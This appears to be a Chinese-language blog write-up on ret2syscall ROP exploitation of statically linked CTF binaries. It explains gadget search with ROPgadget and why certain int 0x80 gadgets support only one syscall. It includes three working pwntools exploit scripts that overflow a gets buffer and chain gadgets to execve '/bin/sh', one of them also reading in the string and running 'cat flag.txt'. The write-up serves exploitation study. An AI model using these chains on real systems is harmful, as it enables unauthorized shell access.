再识ret2syscall

  当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。

  IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。

  IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。

 

  截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。

 1 from pwn import *
 2 
 3 p = process('./ret2syscall')
 4 
 5 binsh_addr = 0x080be408
 6 pop_eax = 0x080bb196
 7 pop_edx_ecx_ebx = 0x0806eb90
 8 int80_addr = 0x08049421
 9 
10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
11 
12 p.sendline(payload)
13 p.interactive()

  这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。

  

  

  直接main函数一个gets溢出,然后就没了。这道题是直接搜不出“/bin/sh”字符串的。但是其实如果真的掌握精髓的话,其实是可以拼接出“/bin/sh”字符串的,因为我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接过程中不知道该如何截断一个字符串。那么我们还能怎么办呢?既然是系统调用,那么我们不如调用一个read函数,来自己输入“/bin/sh”吧。

  自己输入“/bin/sh”的话,就需要我们调用两次int 80,但是,却怎么也打不通。

  

  这时候有师傅告诉我说,用ROPgadget这样搜索,搜出来也是系统调用,我怀着疑惑,用qira看一下。

  

  我们调用了两次int80,但是汇编只显示了一行,经过调试发现,当read执行完,执行shellcode的时候又会跳到第一个int80来系统调用。

  那我们再看一下,第一次搜索出来的int80为啥不行。。。

  

  发现这样调用之后,任务直接就中断了,就不会继续执行了。。。

  那么就总结出来了,如果只需要一次系统调用,可以用这种命令:ROPgadget --binary rop --only 'int'

  如果我们需要多次系统调用,就只能用这个命令来找int 0x80 :ROPgadget --binary rop --opcode cd80c3

  本题如果我们要自己输入“/bin/sh”的话,就需要用这个找到的地址了。

  那么我们贴一下这道题的exp:

 

 1 from pwn import *
 2 import time
 3 
 4 p = process('./rop')
 5 #p = remote('127.0.0.1',4000)
 6 elf = ELF('./rop')
 7 context.log_level = 'debug'
 8 
 9 pop_eax_edx_ebx = 0x08053d14
10 pop_ecx = 0x080595b3
11 ret = 0x080481b2
12 #int80 = 0x0806c405   #int80
13 int80 = 0x0806ef00     #ROPgadget --binary rop --opcode cd80c3
14 buf = elf.bss() + 0x300
15 payload = 'a'*22
16 payload += flat([
17     pop_eax_edx_ebx,
18     0x3,
19     0x10,
20     0x0,
21     pop_ecx,
22     buf,
23     int80,
24     pop_eax_edx_ebx,
25     0xb,
26     0x0,
27     buf,
28     pop_ecx,
29     0x0,
30     int80])
31 p.sendline(payload)
32 sleep(1)
33 p.send('/bin/sh\x00')
34 sleep(1)
35 p.sendline('cat flag.txt')
36 p.recv()
37 p.close()

 

  说到这里,其实也该完了,但是我发下ROPgadget是真的牛逼。他还有这么一行命令:

  

ROPgadget --binary rop --ropchain

 

  这行命令,会自己从程序里面找gadget片段,然后拼接出shellcode,如果这道题用这种方法做,我贴一下exp:

 

 1 from pwn import *
 2 from struct import pack
 3 import time
 4 
 5 z = process('./rop')
 6 #p = remote('127.0.0.1',4000)
 7 elf = ELF('./rop')
 8 context.log_level = 'debug'
 9 
10 p = 'a'*22
11 
12 p += pack('<I', 0x0806e7da) # pop edx ; ret
13 p += pack('<I', 0x080ec080) # @ .data
14 p += pack('<I', 0x080b90f6) # pop eax ; ret
15 p += '/bin'
16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
17 p += pack('<I', 0x0806e7da) # pop edx ; ret
18 p += pack('<I', 0x080ec084) # @ .data + 4
19 p += pack('<I', 0x080b90f6) # pop eax ; ret
20 p += '//sh'
21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
22 p += pack('<I', 0x0806e7da) # pop edx ; ret
23 p += pack('<I', 0x080ec088) # @ .data + 8
24 p += pack('<I', 0x08049173) # xor eax, eax ; ret
25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
26 p += pack('<I', 0x080481c9) # pop ebx ; ret
27 p += pack('<I', 0x080ec080) # @ .data
28 p += pack('<I', 0x080595b3) # pop ecx ; ret
29 p += pack('<I', 0x080ec088) # @ .data + 8
30 p += pack('<I', 0x0806e7da) # pop edx ; ret
31 p += pack('<I', 0x080ec088) # @ .data + 8
32 p += pack('<I', 0x08049173) # xor eax, eax ; ret
33 p += pack('<I', 0x080be674) # inc eax ; ret
34 p += pack('<I', 0x080be674) # inc eax ; ret
35 p += pack('<I', 0x080be674) # inc eax ; ret
36 p += pack('<I', 0x080be674) # inc eax ; ret
37 p += pack('<I', 0x080be674) # inc eax ; ret
38 p += pack('<I', 0x080be674) # inc eax ; ret
39 p += pack('<I', 0x080be674) # inc eax ; ret
40 p += pack('<I', 0x080be674) # inc eax ; ret
41 p += pack('<I', 0x080be674) # inc eax ; ret
42 p += pack('<I', 0x080be674) # inc eax ; ret
43 p += pack('<I', 0x080be674) # inc eax ; ret
44 p += pack('<I', 0x0806c405) # int 0x80
45 z.sendline(p)
46 z.interactive()
47     
View Code

 

  payload直接用自动生成的就可以,仔细阅读一下自动生成的,发现就是都是利用片段拼接,而且只调用了一次int 0x80,调用的这次也是咱们那个只能用一次的int 0x80的那个地址。这样,这种题目就算是分析透彻了。

  当然这种直接生成的payload一般都比较长,适用于gets函数,我做了一道题是read,因为限制长度就不能用。

  好了,分析就到这了。

 

posted @ 2020-03-13 23:16  不会修电脑  阅读(1274)  评论(3编辑  收藏  举报